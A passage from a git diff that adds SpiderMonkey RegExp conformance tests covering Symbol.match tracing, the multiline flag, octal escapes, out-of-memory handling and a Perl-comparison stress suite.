+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global with no match.
+reset();
+execResult = [ null ];
+lastIndexResult = [ , ];
+lastIndexExpected = [ 0, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(ret, null);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["abc"]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+// ret is the Proxy on non-global case, disable logging.
+logProxy = false;
+assertEq(JSON.stringify(ret), `["abc"]`);
+assertEq(log,
+ "get:global," +
+ "get:exec,call:exec,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match.js b/js/src/tests/non262/RegExp/match.js
new file mode 100644
index 0000000000..06308b2d67
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@match].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.match].name, "[Symbol.match]");
+assertEq(RegExp.prototype[Symbol.match].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.match);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 1);
+assertEq(v[0], "a");
+
+re = /d/;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+re = /a/ig;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 3);
+assertEq(v[0], "a");
+assertEq(v[1], "A");
+assertEq(v[2], "A");
+
+re = /d/g;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/multiline-001.js b/js/src/tests/non262/RegExp/multiline-001.js
new file mode 100644
index 0000000000..43614d91e7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/multiline-001.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/multiline-001.js
+ * ECMA Section:
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Date: 19 February 1999
+ */
+
+var SECTION = "RegExp/multiline-001";
+var TITLE = "RegExp: multiline flag";
+var BUGNUMBER="343901";
+
+printBugNumber(BUGNUMBER);
+
+var woodpeckers = "ivory-billed\ndowny\nhairy\nacorn\nyellow-bellied sapsucker\n" +
+ "northern flicker\npileated\n";
+
+AddRegExpCases( /.*[y]$/m, woodpeckers, woodpeckers.indexOf("downy"), ["downy"] );
+
+AddRegExpCases( /.*[d]$/m, woodpeckers, woodpeckers.indexOf("ivory-billed"), ["ivory-billed"] );
+
+test();
+
+
+function AddRegExpCases
+( regexp, pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/RegExp/octal-001.js b/js/src/tests/non262/RegExp/octal-001.js
new file mode 100644
index 0000000000..cde12d807d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-001.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-001.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-001.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346196";
+
+printBugNumber(BUGNUMBER);
+
+
+// backreference
+AddRegExpCases(
+ /(.)\1/,
+ "/(.)\\1/",
+ "HI!!",
+ "HI!",
+ 2,
+ ["!!", "!"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/non262/RegExp/octal-002.js b/js/src/tests/non262/RegExp/octal-002.js
new file mode 100644
index 0000000000..6761d4ae6d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-002.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-002.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-002.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346189";
+
+printBugNumber(BUGNUMBER);
+
+// backreference
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaaabbbccc",
+ "aabbccaaabbbccc",
+ 0,
+ ["aabbccaaa", "a", "a", "b", "b", "c", "c", "a", "a"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\9/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\9",
+ "aabbccaabbcc",
+ "aabbccaabbcc",
+ 0,
+ ["aabbccaabb", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaababcc",
+ "aabbccaababcc",
+ 0,
+ ["aabbccaaba", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/non262/RegExp/octal-003.js b/js/src/tests/non262/RegExp/octal-003.js
new file mode 100644
index 0000000000..58052b2c25
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-003.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-003.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ *
+ * Revised: 02 August 2002
+ * Author: pschwartau@netscape.com
+ *
+ * WHY: the original test expected the regexp /.\011/
+ * to match 'a' + String.fromCharCode(0) + '11'
+ *
+ * This is incorrect: the string is a 4-character string consisting of
+ * the characters <'a'>, <nul>, <'1'>, <'1'>. By contrast, the \011 in the
+ * regexp should be parsed as a single token: it is the octal escape sequence
+ * for the horizontal tab character '\t' === '\u0009' === '\x09' === '\011'.
+ *
+ * So the regexp consists of 2 characters: <any-character>, <'\t'>.
+ * There is no match between the regexp and the string.
+ *
+ * See the testcase non262/RegExp/octal-002.js for an elaboration.
+ *
+ */
+var SECTION = "RegExp/octal-003.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346132";
+
+printBugNumber(BUGNUMBER);
+
+AddRegExpCases( /.\011/, "/\\011/", "a" + String.fromCharCode(0) + "11", "a\\011", 0, null );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ escape(pattern),
+ escape(regexp.exec(pattern).input) );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ escape(regexp.exec(pattern).toString()) );
+
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ escape(regexp.exec(pattern)[matches]) );
+ }
+
+}
diff --git a/js/src/tests/non262/RegExp/oom-in-construction.js b/js/src/tests/non262/RegExp/oom-in-construction.js
new file mode 100644
index 0000000000..f09cca81b1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/oom-in-construction.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+var BUGNUMBER = 1471371;
+var summary = 'Handle OOM in RegExp';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+oomTest(function () {
+ for (var i = 0; i < 10; ++i) {
+ try {
+ RegExp("", "gimuyz");
+ } catch { }
+ }
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/perlstress-001.js b/js/src/tests/non262/RegExp/perlstress-001.js
new file mode 100644
index 0000000000..c073a8f733
--- /dev/null
+++ b/js/src/tests/non262/RegExp/perlstress-001.js
@@ -0,0 +1,3194 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - In JS, regexp captures (/(a) etc./) must hold |undefined| if not used.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ * By contrast, in Perl, unmatched captures hold the empty string.
+ * We have modified such sections accordingly. Example:
+
+ pattern = /^([^a-z])|(\^)$/;
+ string = '.';
+ actualmatch = string.match(pattern);
+ //expectedmatch = Array('.', '.', ''); <<<--- Perl
+ expectedmatch = Array('.', '.', undefined); <<<--- JS
+ addThis();
+
+
+ * - In JS, you can't refer to a capture before it's encountered & completed
+ *
+ * - Perl supports ] & ^] inside a [], ECMA does not
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?imsx or (?-imsx
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ * - Perl has \Z has end-of-line, ECMA doesn't
+ *
+ * - In ECMA, ^ matches only the empty string before the first character
+ *
+ * - In ECMA, $ matches only the empty string at end of input (unless multiline)
+ *
+ * - ECMA spec says that each atom in a range must be a single character
+ *
+ * - ECMA doesn't support \A
+ *
+ * - ECMA doesn't have rules for [:
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 1;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'xabcy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'ababc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(4);
+pattern = /ab*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(5);
+pattern = /ab*bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(6);
+pattern = /ab*bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(7);
+pattern = /ab*bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(8);
+pattern = /.{1}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(9);
+pattern = /.{3,4}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbb');
+addThis();
+
+status = inSection(10);
+pattern = /ab{0,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(11);
+pattern = /ab+bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(12);
+pattern = /ab+bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(13);
+pattern = /ab{1,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(14);
+pattern = /ab{1,3}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(15);
+pattern = /ab{3,4}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(16);
+pattern = /ab?bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(17);
+pattern = /ab?bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(18);
+pattern = /ab{0,1}bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(19);
+pattern = /ab?c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(20);
+pattern = /ab{0,1}c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(21);
+pattern = /^abc$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(22);
+pattern = /^abc/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(23);
+pattern = /abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(24);
+pattern = /^/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(25);
+pattern = /$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(26);
+pattern = /a.c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(27);
+pattern = /a.c/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axc');
+addThis();
+
+status = inSection(28);
+pattern = /a.*c/;
+string = 'axyzc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axyzc');
+addThis();
+
+status = inSection(29);
+pattern = /a[bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abd');
+addThis();
+
+status = inSection(30);
+pattern = /a[b-d]e/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace');
+addThis();
+
+status = inSection(31);
+pattern = /a[b-d]/;
+string = 'aac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(32);
+pattern = /a[-b]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(33);
+pattern = /a[b-]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(34);
+pattern = /a]/;
+string = 'a]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ pattern = /a[]]b/;
+ status = inSection(35);
+ string = 'a]b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a]b');
+ addThis();
+*/
+
+status = inSection(36);
+pattern = /a[^bc]d/;
+string = 'aed';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aed');
+addThis();
+
+status = inSection(37);
+pattern = /a[^-b]c/;
+string = 'adc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adc');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(38);
+ pattern = /a[^]b]c/;
+ string = 'adc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('adc');
+ addThis();
+*/
+
+status = inSection(39);
+pattern = /\ba\b/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(40);
+pattern = /\ba\b/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(41);
+pattern = /\ba\b/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(42);
+pattern = /\By\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(43);
+pattern = /\by\B/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(44);
+pattern = /\By\B/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(45);
+pattern = /\w/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(46);
+pattern = /\W/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(47);
+pattern = /a\Sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(48);
+pattern = /\d/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(49);
+pattern = /\D/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(50);
+pattern = /[\w]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(51);
+pattern = /[\W]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(52);
+pattern = /a[\S]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(53);
+pattern = /[\d]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(54);
+pattern = /[\D]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(55);
+pattern = /ab|cd/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(56);
+pattern = /ab|cd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(57);
+pattern = /()ef/;
+string = 'def';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(58);
+pattern = /a\(b/;
+string = 'a(b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a(b');
+addThis();
+
+status = inSection(59);
+pattern = /a\(*b/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(60);
+pattern = /a\(*b/;
+string = 'a((b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a((b');
+addThis();
+
+status = inSection(61);
+pattern = /a\\b/;
+string = 'a\\b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a\\b');
+addThis();
+
+status = inSection(62);
+pattern = /((a))/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a');
+addThis();
+
+status = inSection(63);
+pattern = /(a)b(c)/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a', 'c');
+addThis();
+
+status = inSection(64);
+pattern = /a+b+c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(65);
+pattern = /a{1,}b{1,}c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(66);
+pattern = /a.+?c/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(67);
+pattern = /(a+|b)*/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(68);
+pattern = /(a+|b){0,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(69);
+pattern = /(a+|b)+/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(70);
+pattern = /(a+|b){1,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(71);
+pattern = /(a+|b)?/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(72);
+pattern = /(a+|b){0,1}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(73);
+pattern = /[^ab]*/;
+string = 'cde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde');
+addThis();
+
+status = inSection(74);
+pattern = /([abc])*d/;
+string = 'abbbcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbcd', 'c');
+addThis();
+
+status = inSection(75);
+pattern = /([abc])*bcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'a');
+addThis();
+
+status = inSection(76);
+pattern = /a|b|c|d|e/;
+string = 'e';
+actualmatch = string.match(pattern);
+expectedmatch = Array('e');
+addThis();
+
+status = inSection(77);
+pattern = /(a|b|c|d|e)f/;
+string = 'ef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', 'e');
+addThis();
+
+status = inSection(78);
+pattern = /abcd*efg/;
+string = 'abcdefg';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcdefg');
+addThis();
+
+status = inSection(79);
+pattern = /ab*/;
+string = 'xabyabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(80);
+pattern = /ab*/;
+string = 'xayabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(81);
+pattern = /(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde', 'cd');
+addThis();
+
+status = inSection(82);
+pattern = /[abhgefdc]ij/;
+string = 'hij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('hij');
+addThis();
+
+status = inSection(83);
+pattern = /(abc|)ef/;
+string = 'abcdef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(84);
+pattern = /(a|b)c*d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bcd', 'b');
+addThis();
+
+status = inSection(85);
+pattern = /(ab|ab*)bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a');
+addThis();
+
+status = inSection(86);
+pattern = /a([bc]*)c*/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'bc');
+addThis();
+
+status = inSection(87);
+pattern = /a([bc]*)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(88);
+pattern = /a([bc]+)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(89);
+pattern = /a([bc]*)(c+d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'b', 'cd');
+addThis();
+
+status = inSection(90);
+pattern = /a[bcd]*dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adcdcde');
+addThis();
+
+status = inSection(91);
+pattern = /(ab|a)b*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+status = inSection(92);
+pattern = /((a)(b)c)(d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'abc', 'a', 'b', 'd');
+addThis();
+
+status = inSection(93);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/;
+string = 'alpha';
+actualmatch = string.match(pattern);
+expectedmatch = Array('alpha');
+addThis();
+
+status = inSection(94);
+pattern = /^a(bc+|b[eh])g|.h$/;
+string = 'abh';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bh', undefined);
+addThis();
+
+status = inSection(95);
